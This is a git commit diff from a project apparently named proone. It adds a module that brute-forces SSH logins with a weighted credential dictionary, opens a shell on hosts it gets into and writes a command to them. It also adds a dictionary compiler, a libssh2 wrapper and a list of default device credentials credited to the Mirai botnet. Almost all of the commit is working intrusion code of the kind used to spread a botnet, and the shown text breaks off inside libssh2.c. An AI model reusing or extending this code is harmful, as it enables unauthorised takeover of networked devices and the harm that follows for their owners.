diff options
author | David Timber <mieabby@gmail.com> | 2020-09-18 00:39:10 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-18 00:39:10 +0930 |
commit | 54166c46f32555532dc3c0e922fe6a591cb74128 (patch) | |
tree | dee32ffb8a15365cc2800f6c2cbc3520ef56324e | |
parent | e6953dcb47193746a4f4d9fff0193723fadbb3e6 (diff) |
* Impl: bne
* Add prne_index_nybin()
-rw-r--r-- | .vscode/launch.json | 34 | ||||
-rw-r--r-- | .vscode/tasks.json | 10 | ||||
-rw-r--r-- | configure.ac | 5 | ||||
-rw-r--r-- | src/Makefile.am | 15 | ||||
-rw-r--r-- | src/bne.c | 727 | ||||
-rw-r--r-- | src/bne.h | 69 | ||||
-rw-r--r-- | src/cred_dict.c | 151 | ||||
-rw-r--r-- | src/cred_dict.h | 40 | ||||
-rw-r--r-- | src/data/cred_dict.sample.txt | 63 | ||||
-rw-r--r-- | src/libssh2.c | 375 | ||||
-rw-r--r-- | src/libssh2.h | 73 | ||||
-rw-r--r-- | src/pack.c | 22 | ||||
-rw-r--r-- | src/pack.h | 8 | ||||
-rw-r--r-- | src/proone-bne.c | 313 | ||||
-rw-r--r-- | src/proone-mkcdict.c | 235 | ||||
-rw-r--r-- | src/proone.c | 9 |
16 files changed, 2139 insertions, 10 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json index de57131..a9b6faa 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -109,6 +109,40 @@ "preLaunchTask": "Build recon", "miDebuggerPath": "/usr/bin/gdb" }, + { + "name": "mkcdict", + "type": "cppdbg", + "request": "launch", + "program": "${workspaceFolder}/src/proone-mkcdict", + "args": [ "./src/data/cred_dict.txt", "./src/data/cred_dict.bin" ], + "stopAtEntry": false, + "cwd": "${workspaceFolder}", + "environment": [], + "externalConsole": false, + "MIMode": "gdb", + "setupCommands": [], + "preLaunchTask": "Build mkcdict", + "miDebuggerPath": "/usr/bin/gdb" + }, + { + "name": "bne", + "type": "cppdbg", + "request": "launch", + "program": "${workspaceFolder}/src/proone-bne", + "args": [ + "./src/data/cred_dict.bin", + "./builds/proone/proone.nybin", + "192.0.2.1" // CHANGE + ], + "stopAtEntry": false, + "cwd": "${workspaceFolder}", + "environment": [], + "externalConsole": false, + "MIMode": "gdb", + "setupCommands": [], + "preLaunchTask": "Build bne", + "miDebuggerPath": "/usr/bin/gdb" + }, { "name": "proone", diff --git a/.vscode/tasks.json b/.vscode/tasks.json index 60a1d5e..bb7fc05 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -51,6 +51,16 @@ "command": "make -C ./src proone-recon" }, { + "label": "Build mkcdict", + "type": "shell", + "command": "make -C ./src proone-mkcdict" + }, + { + "label": "Build bne", + "type": "shell", + "command": "make -C ./src proone-mkcdict proone-bne && ./src/proone-mkcdict ./src/data/cred_dict.txt ./src/data/cred_dict.bin" + }, + { "label": "Build proone", "type": "shell", "command": "make -C ./src proone" diff --git a/configure.ac b/configure.ac index 3d38e73..b64550f 100644 --- a/configure.ac +++ b/configure.ac @@ -68,6 +68,11 @@ AC_CHECK_LIB( [], [AC_MSG_ERROR([mbedtls not found])]) AC_CHECK_LIB( + [ssh2], + [libssh2_init], + [], + [AC_MSG_ERROR([ssh2 not found])]) +AC_CHECK_LIB( [pthsem], [pth_init], [], diff --git a/src/Makefile.am b/src/Makefile.am index 6d037d1..e0f8b67 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -42,7 +42,9 @@ bin_PROGRAMS =\ proone-ipaddr-arr\ proone-htbthost\ proone-rnd\ - proone-recon + proone-recon\ + proone-mkcdict\ + proone-bne proone_tests =\ proone-test_proto\ @@ -67,7 +69,10 @@ libproone_a_SOURCES =\ rnd_well512.c\ recon.c\ inet.c\ - strmap.c + libssh2.c\ + strmap.c\ + cred_dict.c\ + bne.c proone: proone.bin dvault.bin cp -fa proone.bin proone @@ -107,6 +112,12 @@ proone_stress_SOURCES = proone-stress.c proone_rnd_LDADD = libproone.a proone_rnd_SOURCES = proone-rnd.c +proone_mkcdict_LDADD = libproone.a +proone_mkcdict_SOURCES = proone-mkcdict.c + +proone_bne_LDADD = libproone.a +proone_bne_SOURCES = proone-bne.c + proone_recon_LDADD = libproone.a proone_recon_SOURCES = proone-recon.c diff --git a/src/bne.c b/src/bne.c new file mode 100644 index 0000000..bf82199 --- /dev/null +++ b/src/bne.c @@ -0,0 +1,727 @@ +#include "bne.h" +#include "util_ct.h" +#include "util_rt.h" +#include "iset.h" +#include "llist.h" +#include "rnd.h" +#include "libssh2.h" + +#include <string.h> +#include <ctype.h> +#include <errno.h> + +static const struct timespec BNE_CONN_OP_TIMEOUT = { 60, 0 }; // 1m +static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 10s +static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s +static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms +#define BNE_CONN_TIMEOUT 5000 // 5s +#define BNE_CONN_ATTEMPT 3 + +struct prne_bne { + prne_iset_t cred_set; + prne_rnd_t rnd; + prne_bne_result_t result; + prne_bne_param_t param; +}; + +typedef struct { + unsigned int attempt; + uint16_t port; +} bne_port_t; + +typedef struct { + LIBSSH2_SESSION *ss; + LIBSSH2_CHANNEL *ch_shell; + LIBSSH2_CHANNEL *ch_sftp; + char *auth_list; + int fd; + prne_llist_t ports; +} bne_vssh_ctx_t; + +static bool bne_build_cred_set (prne_bne_t *ctx) { + bool ret = true; + + prne_iset_clear(&ctx->cred_set); + for (size_t i = 0; ret && i < ctx->param.cred_dict->cnt; i += 1) { + ret = prne_iset_insert( + &ctx->cred_set, + (prne_iset_val_t)(ctx->param.cred_dict->arr + i)); + } + + return ret; +} + +static void bne_delete_cred_w_id (prne_bne_t *ctx, const char *id) { + prne_cred_dict_entry_t *ent; + const char *ent_id; + + if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) { + return; + } + + for (size_t i = 0; i < ctx->cred_set.size;) { + ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; + ent_id = ctx->param.cred_dict->m + ent->id; + + if (strcmp(id, ent_id) == 0) { + prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)ent); + } + else { + i += 1; + } + } + + if (ctx->param.cb.exit_dd != NULL) { + ctx->param.cb.exit_dd(); + } +} + +static void bne_free_result_cred (prne_bne_t *ctx) { + prne_free(ctx->result.cred.id); + prne_free(ctx->result.cred.pw); + ctx->result.cred.id = NULL; + ctx->result.cred.pw = NULL; +} + +static bool bne_do_connect ( + const int af, + const struct sockaddr *sa, + const socklen_t sl, + int *fd, + pth_event_t ev) +{ + int f_ret; + struct pollfd pfd; + + *fd = socket(af, SOCK_STREAM, 0); + if (*fd < 0) { + return false; + } + if (!prne_sck_fcntl(*fd)) { + return false; + } + + f_ret = connect(*fd, sa, sl); + if (f_ret < 0 && errno != EINPROGRESS) { + goto ERR; + } + + pfd.fd = *fd; + pfd.events = POLLOUT; + f_ret = prne_pth_poll(&pfd, 1, BNE_CONN_TIMEOUT, ev); + if (f_ret > 0) { + socklen_t sl = sizeof(int); + int sov = 0; + + if (!(pfd.revents & ~POLLOUT) && + getsockopt(*fd, SOL_SOCKET, SO_ERROR, &sov, &sl) == 0) + { + if (sov == 0) { + return true; + } + errno = sov; + } + } + +ERR: + prne_close(*fd); + *fd = -1; + return true; +} + +static void bne_vssh_discon ( + bne_vssh_ctx_t *vs, + const struct timespec *to, + const int reason, + const char *desc) +{ + pth_event_t ev; + + if (vs->ss == NULL) { + return; + } + + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(*to)); + prne_assert(ev != NULL); + + prne_lssh2_discon(vs->ss, vs->fd, reason, desc, "", ev); + pth_event_free(ev, FALSE); +} + +static void bne_vssh_drop_conn (bne_vssh_ctx_t *vs) { + prne_shutdown(vs->fd, SHUT_RDWR); + + prne_free(vs->auth_list); + vs->auth_list = NULL; + prne_lssh2_free_session(vs->ss); + vs->ss = NULL; + prne_close(vs->fd); + vs->fd = -1; +} + +static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { + bool ret = false; + uint8_t m_sa[prne_op_max( + sizeof(struct sockaddr_in), + sizeof(struct sockaddr_in6))]; + struct sockaddr_in *sa4; + struct sockaddr_in6 *sa6; + socklen_t sl; + int af; + pth_event_t ev; + const struct timespec *pause = NULL; + + if (vs->ss != NULL) { + return true; + } + + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(BNE_CONN_OP_TIMEOUT)); + prne_assert(ev != NULL); + + while (vs->ports.size > 0 && pth_event_status(ev) != PTH_STATUS_OCCURRED) { + bne_port_t *p = (bne_port_t*)vs->ports.head->element; + + if (pause != NULL) { + pth_nanosleep(pause, NULL); + pause = NULL; + } + + bne_vssh_drop_conn(vs); + p->attempt += 1; + + switch (ctx->param.subject.ver) { + case PRNE_IPV_4: + sl = sizeof(struct sockaddr_in); + sa4 = (struct sockaddr_in*)m_sa; + prne_memzero(m_sa, sl); + + sa4->sin_family = af = AF_INET; + memcpy(&sa4->sin_addr, ctx->param.subject.addr, 4); + sa4->sin_port = htons(p->port); + break; + case PRNE_IPV_6: + sl = sizeof(struct sockaddr_in6); + sa6 = (struct sockaddr_in6*)m_sa; + prne_memzero(m_sa, sl); + + sa6->sin6_family = af = AF_INET6; + memcpy(&sa6->sin6_addr, ctx->param.subject.addr, 16); + sa6->sin6_port = htons(p->port); + break; + default: continue; + } + + if (!bne_do_connect(af, (struct sockaddr*)m_sa, sl, &vs->fd, ev)) { + ctx->result.err = errno; + goto END; + } + if (vs->fd < 0) { + pause = &BNE_ERR_PAUSE; + if (p->attempt >= BNE_CONN_ATTEMPT) { + goto POP; + } + continue; + } + + vs->ss = libssh2_session_init(); + if (vs->ss == NULL) { + ctx->result.err = errno; + goto END; + } + libssh2_session_set_blocking(vs->ss, 0); + + if (prne_lssh2_handshake(vs->ss, vs->fd, ev) == 0) { + ctx->result.err = 0; + ret = true; + break; + } + /* fall-through */ +POP: + // try next port + prne_free(p); + prne_llist_erase(&vs->ports, vs->ports.head); + } + +END: + if (ev != NULL) { + if (pth_event_status(ev) != PTH_STATUS_OCCURRED) { + ctx->result.err = ETIMEDOUT; + } + pth_event_free(ev, FALSE); + } + if (!ret) { + bne_vssh_drop_conn(vs); + } + + return ret; +} + +/* +* +* Does linear search to save memory. This is slow. But hey, as long as it works. +*/ +static bool bne_pop_cred ( + prne_bne_t *ctx, + const bool per_id) +{ + prne_cred_dict_entry_t *ent, *rc = NULL; + size_t coin; + uint_fast16_t w_tmp; + uint8_t wv; + prne_iset_t w_set; + prne_llist_t cl; + const char *ent_id, *ent_pw; + bool ret = true, id_match; + + if (ctx->cred_set.size == 0) { + return false; + } + if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) { + ctx->result.err = errno; + return false; + } + + prne_init_iset(&w_set); + prne_init_llist(&cl); + + // gather weight values + for (size_t i = 0; i < ctx->cred_set.size; i += 1) { + ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; + if (!prne_iset_insert(&w_set, (prne_iset_val_t)(ent->weight))) { + ctx->result.err = errno; + ret = false; + goto END; + } + } + + do { + w_tmp = 0; + for (size_t i = 0; i < w_set.size; i += 1) { + w_tmp += (uint_fast16_t)w_set.arr[i]; + } + + // determine weight + if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) { + ctx->result.err = errno; + ret = false; + goto END; + } + + if (w_tmp > 0) { + coin = coin % w_tmp; + + w_tmp = 0; + wv = (uint8_t)(w_set.arr[w_set.size - 1]); + for (size_t i = 0; i < w_set.size; i += 1) { + w_tmp += (uint_fast16_t)w_set.arr[i]; + if (coin < w_tmp) { + wv = (uint8_t)(w_set.arr[i]); + break; + } + } + } + else { + wv = 0; + } + + // search + prne_llist_clear(&cl); + for (size_t i = 0; i < ctx->cred_set.size; i += 1) { + ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; + ent_id = ctx->param.cred_dict->m + ent->id; + + if (per_id && ctx->result.cred.id != NULL) { + id_match = strcmp(ctx->result.cred.id, ent_id) == 0; + } + else { + id_match = true; + } + + if (id_match && ent->weight == wv) { + if (!prne_llist_append(&cl, (prne_llist_element_t)ent)) { + ret = false; + ctx->result.err = errno; + goto END; + } + } + } + + if (cl.size > 0) { + prne_llist_entry_t *le; + + if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) { + ctx->result.err = errno; + ret = false; + goto END; + } + coin = coin % cl.size; + + le = cl.head; + for (size_t i = 0; i < coin; i += 1) { + le = le->next; + } + + rc = (prne_cred_dict_entry_t*)le->element; + goto END; + } + else { + // try next weight value + prne_iset_erase(&w_set, (prne_iset_val_t)(wv)); + } + } while (w_set.size > 0); + +END: + prne_free_iset(&w_set); + prne_free_llist(&cl); + bne_free_result_cred(ctx); + if (rc != NULL && ret) { + size_t id_len, pw_len; + + prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)rc); + + ent_id = ctx->param.cred_dict->m + rc->id; + ent_pw = ctx->param.cred_dict->m + rc->pw; + id_len = strlen(ent_id); + pw_len = strlen(ent_pw); + + ctx->result.cred.id = prne_alloc_str(id_len); + ctx->result.cred.pw = prne_alloc_str(pw_len); + if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) { + ctx->result.err = errno; + ret = false; + bne_free_result_cred(ctx); + } + else { + memcpy(ctx->result.cred.id, ent_id, id_len + 1); + memcpy(ctx->result.cred.pw, ent_pw, pw_len + 1); + } + } + + if (ctx->param.cb.exit_dd != NULL) { + ctx->param.cb.exit_dd(); + } + + return ret; +} + +static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { + bool ret = false; + pth_event_t ev = NULL; + int f_ret; + + while (true) { + if (!bne_vssh_est_sshconn(ctx, vs)) { + break; + } + + if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) { + if (!bne_pop_cred(ctx, true)) { + break; + } + if (ctx->result.cred.id == NULL) { + // have to try different ID + bne_vssh_discon( + vs, + &BNE_CLOSE_OP_TIMEOUT, + SSH_DISCONNECT_BY_APPLICATION, + "this ain't over!"); + bne_vssh_drop_conn(vs); + continue; + } + } + + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(BNE_SCK_OP_TIMEOUT)); + prne_assert(ev != NULL); + + if (vs->auth_list == NULL) { + const char *tmp = prne_lssh2_ua_list( + vs->ss, + vs->fd, + ctx->result.cred.id, + ev, + NULL); + + if (tmp != NULL) { + const size_t len = strlen(tmp); + + vs->auth_list = prne_alloc_str(len); + if (vs->auth_list == NULL) { + ctx->result.err = errno; + break; + } + memcpy(vs->auth_list, tmp, len + 1); + prne_transstr(vs->auth_list, tolower); + } + else if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + break; + } + } + + f_ret = prne_lssh2_ua_authd(vs->ss, vs->fd, ev); + if (f_ret < 0) { + bne_vssh_drop_conn(vs); + if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + break; + } + continue; + } + + if (f_ret == 0) { + // need auth + // check vs->auth_list maybe? + f_ret = prne_lssh2_ua_pwd( + vs->ss, + vs->fd, + ctx->result.cred.id, + ctx->result.cred.pw, + ev); + if (f_ret == LIBSSH2_ERROR_AUTHENTICATION_FAILED) { +/* +* server's not accepting the credentials that had been used for the +* first time +*/ + prne_free(ctx->result.cred.pw); + ctx->result.cred.pw = NULL; + continue; + } + if (f_ret != 0) { + bne_vssh_drop_conn(vs); + if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + break; + } + continue; + } + } + + // after auth, acquire shell + do { // FAKE LOOP + vs->ch_shell = prne_lssh2_open_ch( + vs->ss, + vs->fd, + ev, + NULL); + if (vs->ch_shell == NULL) { + break; + } +#if 0 // without terminal + if (prne_lssh2_ch_req_pty( + vs->ss, + vs->ch_shell, + vs->fd, + "vanilla", + ev)) + { + break; + } +#endif + if (prne_lssh2_ch_sh(vs->ss, vs->ch_shell, vs->fd, ev)) { + break; + } + + ret = true; + ctx->result.err = 0; + } while (false); + + if (!ret) { + if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + break; + } + // credential worked, but could not open shell with this account + bne_delete_cred_w_id(ctx, ctx->result.cred.id); + bne_free_result_cred(ctx); + bne_vssh_discon( + vs, + &BNE_CLOSE_OP_TIMEOUT, + SSH_DISCONNECT_BY_APPLICATION, + "this ain't over!"); + bne_vssh_drop_conn(vs); + continue; + } + break; + } + + pth_event_free(ev, FALSE); + return ret; +} + +static bool bne_do_vec_telnet (prne_bne_t *ctx) { + // TODO + return false; +} + +static bool bne_vssh_do_shell (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { + // TODO + static const char *CMD = "echo \"boop!\" > /tmp/prne.boop\n"; + prne_lssh2_ch_write(vs->ss, vs->ch_shell, vs->fd, CMD, strlen(CMD), NULL); + return true; +} + +static bool bne_do_vec_ssh (prne_bne_t *ctx) { + static const uint16_t SSH_PORTS[] = { 22 }; + bool ret = false; + bne_vssh_ctx_t vssh_ctx; + + prne_memzero(&vssh_ctx, sizeof(bne_vssh_ctx_t)); + vssh_ctx.fd = -1; + prne_init_llist(&vssh_ctx.ports); + + bne_free_result_cred(ctx); + + for (size_t i = 0; i < sizeof(SSH_PORTS)/sizeof(uint16_t); i += 1) { + bne_port_t *p = prne_calloc(sizeof(bne_port_t), 1); + + if (p == NULL) { + ctx->result.err = errno; + goto END; + } + p->port = SSH_PORTS[i]; + + if (!prne_llist_append( + &vssh_ctx.ports, + (prne_llist_element_t)p)) + { + prne_free(p); + ctx->result.err = errno; + goto END; + } + } + + if (!bne_build_cred_set(ctx)) { + ctx->result.err = errno; + goto END; + } + + if (!bne_vssh_login(ctx, &vssh_ctx)) { + goto END; + } + + // `ctx->result.cred` must be set at this point + if (vssh_ctx.ch_shell != NULL) { + ret = bne_vssh_do_shell(ctx, &vssh_ctx); + } + +END: + bne_vssh_discon( + &vssh_ctx, + &BNE_CLOSE_OP_TIMEOUT, + SSH_DISCONNECT_BY_APPLICATION, + "thank you"); + bne_vssh_drop_conn(&vssh_ctx); + for (prne_llist_entry_t *e = vssh_ctx.ports.head; e != NULL; e = e->next) { + prne_free((void*)e->element); + } + prne_free_llist(&vssh_ctx.ports); + return ret; +} + +static void bne_free_ctx_f (void *p) { + prne_bne_t *ctx = (prne_bne_t*)p; + + if (ctx == NULL) { + return; + } + + prne_free_iset(&ctx->cred_set); + prne_free_rnd(&ctx->rnd); + prne_free_bne_param(&ctx->param); + bne_free_result_cred(ctx); + prne_free(ctx); +} + +static void bne_fin_f (void *p) { + // do nothing +} + +static void *bne_entry_f (void *p) { + prne_bne_t *ctx = (prne_bne_t*)p; + bool f_ret; + + for (size_t i = 0; i < ctx->param.vector.cnt; i += 1) { + switch (ctx->param.vector.arr[i]) { + case PRNE_BNE_V_BRUTE_TELNET: + f_ret = bne_do_vec_telnet(ctx); + break; + case PRNE_BNE_V_BRUTE_SSH: + f_ret = bne_do_vec_ssh(ctx); + break; + } + + if (f_ret) { + ctx->result.vec = ctx->param.vector.arr[i]; + break; + } + } + + return &ctx->result; +} + +void prne_init_bne_param (prne_bne_param_t *p) { + prne_memzero(p, sizeof(prne_bne_param_t)); + p->rcb.self = PRNE_ARCH_NONE; +} + +void prne_free_bne_param (prne_bne_param_t *p) {} + +const char *prne_bne_vector_tostr (const prne_bne_vector_t v) { + switch (v) { + case PRNE_BNE_V_BRUTE_TELNET: return "telnet"; + case PRNE_BNE_V_BRUTE_SSH: return "ssh"; + } + return NULL; +} + +prne_bne_t *prne_alloc_bne ( + prne_worker_t *w, + mbedtls_ctr_drbg_context *ctr_drbg, + const prne_bne_param_t *param) +{ + prne_bne_t *ret = NULL; + uint8_t seed[PRNE_RND_WELL512_SEEDLEN]; + + if (ctr_drbg == NULL) { + errno = EINVAL; + return NULL; + } + +// TRY + ret = (prne_bne_t*)prne_calloc(sizeof(prne_bne_t), 1); + if (ret == NULL) { + goto ERR; + } + prne_init_iset(&ret->cred_set); + prne_init_bne_param(&ret->param); + prne_init_rnd(&ret->rnd); + + if (mbedtls_ctr_drbg_random(ctr_drbg, seed, sizeof(seed)) != 0) { + goto ERR; + } + if (!prne_rnd_alloc_well512(&ret->rnd, seed)) { + goto ERR; + } + + ret->param = *param; + + ret->result.subject = &ret->param.subject; + ret->result.vec = PRNE_BNE_V_NONE; + ret->result.prc = PRNE_PACK_RC_OK; + + w->ctx = ret; + w->entry = bne_entry_f; + w->fin = bne_fin_f; + w->free_ctx = bne_free_ctx_f; + return ret; +ERR: // CATCH + if (ret != NULL) { + bne_free_ctx_f(ret); + ret = NULL; + } + + return NULL; +} diff --git a/src/bne.h b/src/bne.h new file mode 100644 index 0000000..ca91a53 --- /dev/null +++ b/src/bne.h @@ -0,0 +1,69 @@ +#pragma once +#include <stdio.h> +#include <stddef.h> +#include <inttypes.h> +#include <stdbool.h> + +#include <mbedtls/ctr_drbg.h> + +#include "pth.h" +#include "protocol.h" +#include "pack.h" +#include "cred_dict.h" + + +struct prne_bne; +typedef struct prne_bne_param prne_bne_param_t; +typedef struct prne_bne prne_bne_t; +typedef struct prne_bne_result prne_bne_result_t; + +enum prne_bne_vector { + PRNE_BNE_V_NONE = -1, + PRNE_BNE_V_BRUTE_TELNET, + PRNE_BNE_V_BRUTE_SSH, + NB_PRNE_BNE_V +}; +typedef enum prne_bne_vector prne_bne_vector_t; + +struct prne_bne_param { + const prne_cred_dict_t *cred_dict; + struct { + const prne_bne_vector_t *arr; + size_t cnt; + } vector; + struct { + bool (*enter_dd)(void); + void (*exit_dd)(void); + } cb; + struct { + const uint8_t *m_self; + size_t self_len; + size_t exec_len; + const uint8_t *m_dv; + size_t dv_len; + const prne_bin_archive_t *ba; + prne_arch_t self; + } rcb; + prne_ip_addr_t subject; +}; + +struct prne_bne_result { + struct { + char *id; + char *pw; + } cred; + const prne_ip_addr_t *subject; + int err; + prne_bne_vector_t vec; + prne_pack_rc_t prc; +}; + +void prne_init_bne_param (prne_bne_param_t *p); +void prne_free_bne_param (prne_bne_param_t *p); + +const char *prne_bne_vector_tostr (const prne_bne_vector_t v); + +prne_bne_t *prne_alloc_bne ( + prne_worker_t *w, + mbedtls_ctr_drbg_context *ctr_drbg, + const prne_bne_param_t *param); diff --git a/src/cred_dict.c b/src/cred_dict.c new file mode 100644 index 0000000..1b6a5bb --- /dev/null +++ b/src/cred_dict.c @@ -0,0 +1,151 @@ +#include "cred_dict.h" +#include "util_rt.h" +#include "endian.h" +#include "strmap.h" + +#include <string.h> +#include <errno.h> + + +void prne_init_cred_dict (prne_cred_dict_t *p) { + prne_memzero(p, sizeof(prne_cred_dict_t)); +} + +void prne_free_cred_dict (prne_cred_dict_t *p) { + if (p == NULL) { + return; + } + + prne_free(p->arr); + prne_memzero(p, sizeof(prne_cred_dict_t)); +} + +bool prne_build_cred_dict ( + const prne_cred_dict_raw_entry_t *arr, + const size_t cnt, + uint8_t **out_m, + size_t *out_l) +{ + bool ret = false; + prne_strmap_t map; + uint8_t *m = NULL, *p; + size_t l = 0, strsize, sum_str; + uint16_t idx_id, idx_pw; + + if (cnt > UINT16_MAX) { + errno = E2BIG; + return false; + } + + prne_init_strmap(&map); + +// TRY + for (size_t i = 0; i < cnt; i += 1) { + if (arr[i].id == NULL || arr[i].pw == NULL) { + errno = EINVAL; + goto END; + } + prne_strmap_insert(&map, arr[i].id, 0); + prne_strmap_insert(&map, arr[i].pw, 0); + } + + sum_str = 0; + for (size_t i = 0; i < map.size; i += 1) { + map.tbl[i].val = (prne_strmap_val_t)sum_str; + sum_str += strlen(map.tbl[i].key) + 1; + } + l = 2/*head*/ + 5 * cnt/*entries*/ + sum_str; + if (sum_str > UINT16_MAX || l > UINT16_MAX) { + errno = E2BIG; + goto END; + } + + p = m = (uint8_t*)prne_malloc(1, l); + if (m == NULL) { + goto END; + } + + p[0] = prne_getmsb16(cnt, 0); + p[1] = prne_getmsb16(cnt, 1); + p += 2; + for (size_t i = 0; i < cnt; i += 1) { + idx_id = (uint16_t)(prne_strmap_lookup(&map, arr[i].id)->val); + idx_pw = (uint16_t)(prne_strmap_lookup(&map, arr[i].pw)->val); + p[0] = prne_getmsb16(idx_id, 0); + p[1] = prne_getmsb16(idx_id, 1); + p[2] = prne_getmsb16(idx_pw, 0); + p[3] = prne_getmsb16(idx_pw, 1); + p[4] = arr[i].weight; + p += 5; + } + for (size_t i = 0; i < map.size; i += 1) { + strsize = strlen(map.tbl[i].key) + 1; + memcpy(p, map.tbl[i].key, strsize); + p += strsize; + } + + *out_m = m; + *out_l = l; + m = NULL; + ret = true; +END: // CATCH + prne_free(m); + prne_free_strmap(&map); + return ret; +} + +bool prne_dser_cred_dict ( + prne_cred_dict_t *dict, + const uint8_t *buf, + const size_t len) +{ + prne_cred_dict_entry_t *arr = NULL; + size_t cnt, head_size, m_size; + const uint8_t *p = buf; + bool ret = false; + + if (len < 2) { + errno = EINVAL; + return false; + } + cnt = prne_recmb_msb16(p[0], p[1]); + head_size = 2 + 5 * cnt; + if (head_size > len) { + errno = EINVAL; + return false; + } + if (cnt > 0 && buf[len - 1] != 0) { + errno = EINVAL; + return false; + } + p += 2; + m_size = len - head_size; + +// TRY + arr = prne_malloc(sizeof(prne_cred_dict_entry_t), cnt); + if (cnt > 0 && arr == NULL) { + goto END; + } + + for (size_t i = 0; i < cnt; i += 1) { + arr[i].id = prne_recmb_msb16(p[0], p[1]); + arr[i].pw = prne_recmb_msb16(p[2], p[3]); + arr[i].weight = p[4]; + p += 5; + + if (arr[i].id >= m_size || arr[i].pw >= m_size) { + errno = EINVAL; + goto END; + } + } + + prne_free_cred_dict(dict); + dict->arr = arr; + dict->cnt = cnt; + dict->m = (const char *)(buf + head_size); + arr = NULL; + ret = true; +END: + prne_free(arr); + return ret; +} diff --git a/src/cred_dict.h b/src/cred_dict.h new file mode 100644 index 0000000..790402c --- /dev/null +++ b/src/cred_dict.h @@ -0,0 +1,40 @@ +#pragma once +#include <stdint.h> +#include <stddef.h> +#include <stdbool.h> + + +typedef struct prne_cred_dict_entry prne_cred_dict_entry_t; +typedef struct prne_cred_dict_raw_entry prne_cred_dict_raw_entry_t; +typedef struct prne_cred_dict prne_cred_dict_t; + +struct prne_cred_dict_entry { + uint16_t id; + uint16_t pw; + uint8_t weight; +}; + +struct prne_cred_dict_raw_entry { + char *id; + char *pw; + uint8_t weight; +}; + +struct prne_cred_dict { + const char *m; + prne_cred_dict_entry_t *arr; + size_t cnt; +}; + +void prne_init_cred_dict (prne_cred_dict_t *p); +void prne_free_cred_dict (prne_cred_dict_t *p); + +bool prne_build_cred_dict ( + const prne_cred_dict_raw_entry_t *arr, + const size_t cnt, + uint8_t **out_m, + size_t *out_l); +bool prne_dser_cred_dict ( + prne_cred_dict_t *dict, + const uint8_t *buf, + const size_t len); diff --git a/src/data/cred_dict.sample.txt b/src/data/cred_dict.sample.txt new file mode 100644 index 0000000..3709e86 --- /dev/null +++ b/src/data/cred_dict.sample.txt @@ -0,0 +1,63 @@ +# Sample dictionary from Mirai bot net +10 root xc3511 +9 root vizxv +8 root admin +7 admin admin +6 root 888888 +5 root xmhdipc +5 root default +5 root juantech +5 root 123456 +5 root 54321 +5 support support +4 root +4 admin password +4 root root +4 root 12345 +3 user user +3 admin +3 root pass +3 admin admin1234 +3 root 1111 +3 admin smcadmin +2 admin 1111 +2 root 666666 +2 root password +2 root 1234 +1 root klv123 +1 Administrator admin +1 service service +1 supervisor supervisor +1 guest guest +1 guest 12345 +1 guest 12345 +1 admin1 password +1 administrator 1234 +1 666666 666666 +1 888888 888888 +1 ubnt ubnt +1 root klv1234 +1 root Zte521 +1 root hi3518 +1 root jvbzd +4 root anko +1 root zlxx. +1 root 7ujMko0vizxv +1 root 7ujMko0admin +1 root system +1 root ikwb +1 root dreambox +1 root user +1 root realtek +1 root 00000000 +1 admin 1111111 +1 admin 1234 +1 admin 12345 +1 admin 54321 +1 admin 123456 +1 admin 7ujMko0admin +1 admin 1234 +1 admin pass +1 admin meinsm +1 tech tech +0 mother fucker diff --git a/src/libssh2.c b/src/libssh2.c new file mode 100644 index 0000000..b55e093 --- /dev/null +++ b/src/libssh2.c @@ -0,0 +1,375 @@ +#include "libssh2.h" +#include "util_ct.h" +#include "util_rt.h" +#include "pth.h" + +#include <stdbool.h> +#include <errno.h> + + +typedef struct { + LIBSSH2_SESSION *s; + int fd; +} lssh2_cbctx_s_t; + +typedef struct { + LIBSSH2_SESSION *s; + const char *id; + const char *pw; + unsigned int id_len; + unsigned int pw_len; + void *ret; +} lssh2_cbctx_ua_cred_t; + +typedef struct { + LIBSSH2_SESSION *s; + LIBSSH2_CHANNEL *ret; +} lssh2_cbctx_open_channel_t; + +typedef struct { + LIBSSH2_CHANNEL *c; + void *buf; + size_t len; + int s_id; +} lssh2_cbctx_ch_f_t; + +typedef struct { + LIBSSH2_SESSION *s; + int reason; + const char *desc; + const char *lang; +} lssh2_cbctx_discon_t; + +static ssize_t lssh2_crippled_send ( + int __fd, + const void *__buf, + size_t __n, + int __flags) +{ + errno = 0; + return -1; +} + +static ssize_t lssh2_crippled_recv ( + int __fd, + void *__buf, + size_t __n, + int __flags) +{ + errno = 0; + return -1; +} + +static int lssh2_handle ( + LIBSSH2_SESSION *s, + const int fd, + pth_event_t ev, + void *ctx, + int (*lssh2_f)(void*)) +{ + int f_ret; + struct pollfd pfd; + + pfd.fd = fd; + while (true) { + f_ret = lssh2_f(ctx); + if (f_ret != LIBSSH2_ERROR_EAGAIN) { + break; + } + + f_ret = 